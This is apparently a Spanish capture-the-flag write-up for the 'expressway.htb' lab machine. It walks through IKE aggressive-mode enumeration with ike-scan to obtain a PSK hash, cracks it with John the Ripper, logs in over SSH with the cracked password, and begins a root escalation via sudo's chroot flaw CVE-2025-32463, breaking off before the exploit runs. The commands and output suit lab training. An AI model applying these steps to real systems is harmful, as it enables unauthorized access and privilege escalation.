ISAKMP (Internet Security Association and Key Management Protocol) es un protocolo que define el marco para establecer, negociar, modificar y eliminar asociaciones de seguridad (SA) y claves criptográficas en una conexión de red.
Enumeración de IKE
Con la herramienta ike-scan podemos sacar información:
bash
$ sudo ike-scan -M 10.10.11.87Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)10.10.11.87 Main Mode Handshake returned HDR=(CKY-R=f4128fae20cf2b2a) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)Ending ike-scan 1.9.6: 1 hosts scanned in 0.106 seconds (9.41 hosts/sec). 1 returned handshake; 0 returned notify
La última línea dice 1 returned handshake: el objetivo está configurado para IPsec y acepta la negociación IKE. Además usa autenticación por clave compartida (Auth=PSK).
Si lanzamos el modo agresivo con un ID inventado, el servidor nos devuelve un hash de la PSK:
bash
$ sudo ike-scan -P -M -A -n fakeID 10.10.11.87Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)10.10.11.87 Aggressive Mode Handshake returned HDR=(CKY-R=80a866d855fbf729) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):3fe902bd4e2cc055b00737626ba08dcdce03831a58ee4bdee071b1a1ca8a01fe13212ffa50f1c0ec166cb2af7ea38ffa098d22f7ab8d210c247d4c5d807625b5d610cae70d8b058db9dd0e95c4c0ce8de46148dad42f51414b6750f4cd450e4248d9d88da9e64fb6c6afe718d6f74dff468f0d0545c3a49e7e1c208620e91260:bcf6b65e900b434f3374bd2b268242711776d865f9b256f7e009692740655d97e86f5f4fa6939b6275f506a8f26e3290c989aeb47e523acc1d5f78f785173ea4e3790145bc3556f62d74ce6e8695d0425389f377b1c738972205e9db7f75bcd2a8bd10fc243980e0d4e6af2c72f0c69322fa68d6e75e22ebb2b7b6a78c3410a2:80a866d855fbf729:9a96d48703eba5f0:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:84fade652fda04134f4c94be3cecfeaeb5725740:54309b93a63ce3737289331fe4e81cd862ca11b0d6fc6756143083ecca6e3080:d43bff4be0b9fa62499f499e7e63cb94f681d5d1Ending ike-scan 1.9.6: 1 hosts scanned in 0.114 seconds (8.75 hosts/sec). 1 returned handshake; 0 returned notify
Aunque el ID que mandamos es falso, la respuesta incluye la identidad del servidor: ike@expressway.htb. Eso nos da un posible usuario válido, ike.
Cracking del hash
Guardamos el hash en un fichero y lo convertimos con ikescan2john, de la suite de John the Ripper, a un formato que john pueda crackear si la contraseña es débil:
terminal
$ ikescan2john ike.txt > ike.hash$ john --wordlist=/usr/share/wordlists/rockyou.txt ike.hash$ john ike.hash --show?:freakingrockstarontheroad1 password hash cracked, 0 left
Ya tenemos una contraseña. Queda probarla en el único servicio TCP abierto, SSH.
Acceso inicial (user.txt)
Probamos el usuario ike con la contraseña crackeada:
bash
$ ssh ike@10.10.11.87ike@10.10.11.87's password:Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Tue Sep 23 11:09:18 2025 from 10.10.16.6ike@expressway:~$
Conseguimos el acceso inicial y la flag user.txt.
Escalada a root
Enumerando el sistema vemos esta versión de sudo:
terminal
ike@expressway:~$ sudo -VSudo version 1.9.17Sudoers policy plugin version 1.9.17Sudoers file grammar version 50Sudoers I/O plugin version 1.9.17Sudoers audit plugin version 1.9.17
Esta versión es vulnerable a CVE-2025-32463, un fallo en la opción -R (--chroot) de sudo. Al usarla, sudo hace las cosas en este orden:
Lee <directorio>/etc/nsswitch.conf, es decir, el del directorio que le pasamos como chroot y que controlamos nosotros
Carga las bibliotecas NSS que indica ese fichero, todavía con privilegios de root
Solo después aplica el chroot, cuando ya es tarde
Así, cualquier usuario local puede hacer que sudo cargue una biblioteca suya como root, aunque no tenga ninguna regla en sudoers.
Para explotarlo usamos el PoC sudo-chwoot.sh. Lo copiamos a la máquina como exp.sh y lo ejecutamos: